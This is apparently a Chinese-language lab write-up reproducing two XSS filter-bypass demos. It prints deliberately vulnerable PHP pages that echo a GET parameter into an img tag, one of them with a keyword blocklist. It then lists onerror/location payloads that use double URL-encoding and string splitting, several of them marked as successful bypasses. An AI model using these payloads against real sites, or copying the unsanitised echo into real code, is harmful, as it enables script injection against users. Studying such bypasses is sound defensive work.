复现urlcode编码绕过xss限制两个demo
后端源码:demo.php
<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss'])?$_GET['xss']:'';
$xss = str_replace(array("(",")","&","\\","<",">","'"), '', $xss);
echo "<img src=\"{$xss}\">";
?>
'X-XSS-Protection: 0'
的意思是关闭浏览器xss防护,因为以前chrome,Firefox都有xss防护机制
$xss = isset($_GET['xss'])?$_GET['xss']:''
是三元运算符,?前为判断条件当前面的值为真,则运行":“前的,为假运行”:"后的。
首先:
我们要逃出双引号的限制,才能运行我们的恶意代码
demo.php?xss=aaa" οnerrοr="alert(1) | img src=“aaa” οnerrοr=“alert1” |
---|---|
demo.php?xss=aaa" οnerrοr="alert%281%29 | img src=“aaa” οnerrοr=“alert1” |
demo.php?xss=aaa" οnerrοr="alert%25281%2529 | img src=“aaa” οnerrοr=“alert%281%29” |
demo.php?xss=aaa" οnerrοr=location="alert(1) | |
demo.php?xss=aaa" οnerrοr=location="alert%25281%2529 | |
demo.php?xss=aaa" οnerrοr=location="javascript:alert%25281%2529 | bypass |
后端代码:demo1.php
<?php
header('X-XSS-Protection: 0');
$xss = isset($_GET['xss'])?$_GET['xss']:'';
$xss = str_replace(array("(",")","&","\\","<",">","'"), '', $xss);
if (preg_match('/(script|document|cookie|eval|setTimeout|alert)/', $xss)) {
exit('bad');
}
echo "<img src=\"{$xss}\">";
?>
在上面的基础上进一步过滤script、document、cookie、eval、setTimeout、alert关键字。
因为onerror是js函数,不能编码符号,因此还是需要location这样的函数将其变为字符串拼接绕过。
拼接时需注意,符号:”+“和”:“都需编码(卡了我好久才发现问题)
URL编码
>>> ord(":")
58
\>>> hex(58)
'0x3a'
\>>> ord("+")
43
\>>> hex(43)
'0x2b'
\>>>
过程如下:
demo1.php?xss=aaa" οnerrοr=location="javascript:alert(1) | bad |
---|---|
demo1.php?xss=aaa"%20οnerrοr=location=“javas”+“cript:al”+"ert%25281%2529 | bad |
demo1.php?xss=aaa"%20οnerrοr=location=“javas”%2b"cript%3aal"%2b"ert%25281%2529 | bypass |
οnerrοr=location=“javas”%2b"cript%3aal"%2b"ert%25281%2529 | bypass |